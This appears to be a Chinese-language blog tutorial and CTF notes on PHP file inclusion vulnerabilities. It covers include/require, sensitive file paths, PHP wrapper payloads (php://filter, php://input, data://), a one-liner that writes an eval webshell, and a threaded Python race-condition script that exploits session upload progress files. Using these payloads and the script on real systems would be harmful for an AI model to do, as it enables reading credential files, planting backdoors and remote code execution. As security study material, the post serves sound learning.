文件包含漏洞
本文最后更新于:1 年前
文件包含相关方法/问题
文件包含
文件包含简介
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,只更新一个包含文件就可以了,或者当向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)
文件包含函数
require()
require_once()
include()
include_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题
敏感信息路径
Linux/Unix系统的敏感信息路径:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
常见的php-session存放位置:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
php伪协议
https://segmentfault.com/a/1190000018991087
file://
作用:
用于访问文件(绝对路径、相对路径、网路路径)
例:
?file=file:///etc/passswd
php://
作用:
访问输入输出流
1.php://filter
作用:
读取源代码
例:
?file=php://filter/read=convert.base64-encode/resource=[文件名]
(针对php文件需要base64编码)
参数:
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链
2.php://input
作用:
执行php代码
例:
?file=php://input
POST数据:<?php phpinfo()?>
如果有写入权限,写入一句话木马:
?file=php://input
[POST DATA部分]
<?php fputs(fopen('1.php','w'),'<?php @eval($_POST['a']); ?>'); ?>
注意:
enctype=”multipart/form-data” 的时候 php://input 是无效的
data://
作用:
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输
伪协议中的data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
例:
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
?file=data://text/plain,<?php system("cat f*")?>
zip://
作用:
zip://&bzip2://&zlib://均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等
phar://
phar://协议与zip://类似,同样可以访问zip格式压缩包内容
常见拼接用法
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
session文件
详解利用session进行文件包含:https://blog.csdn.net/qq_38154820/article/details/120300273
博客:https://www.freebuf.com/vuls/202819.html
常见的php-session存放位置:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
严格审查 phpinfo/php.ini中关于Session的配置
博客:https://blog.csdn.net/msllws/article/details/85232203
具体利用
上传文件时产生可控的session文件,可在其中插入语句,在post上传文件同时get session,条件竞争碰撞
Cookie:PHPSESSID=XXX
/tmp/sess_xxx
利用session对话进行文件包含利用
简单来说,就是post上传文件时会产生一个可控session文件,文件上传完删除
可创造该session文件,在文件中插入php语句
在post上传文件同时访问该文件,get flag/有用信息
碰撞出正确的条件竞争
<!DOCTYPE html>
<html>
<body>
<form action="http://c5bb51fc-6e63-467c-b8dc-8dc6804584a9.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
PHP_SESSION_UPLOAD_PROGRESS session上传进度
即 sess_xxx文件的内容 / 执行恶意代码
PHP_SESSION_UPLOAD_PROGRESS:https://www.cnblogs.com/NPFS/p/13795170.html
附上脚本
#coding=utf-8
import io
import requests
import threading
sessid = 'flag'
data = {"cmd": "system('whoami');"} # session文件中输入一句话后,执行该php代码
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://127.0.0.1:7777/',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=var_dump(scandir("."))?>'}, # 执行php代码
files={'file': ('111.txt', f)},
cookies={'PHPSESSID': sessid}) # 严格审查Cookie变量值(phpinfo/phpini)
def read(session):
while True:
resp = session.post('http://127.0.0.1:7777/?a=/tmp/sess_'+sessid, data=data)
if len(resp.text) != 0: # 审查判断条件
print(resp.text)
event.clear()
else:
print("**************")
if __name__ == "__main__" :
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!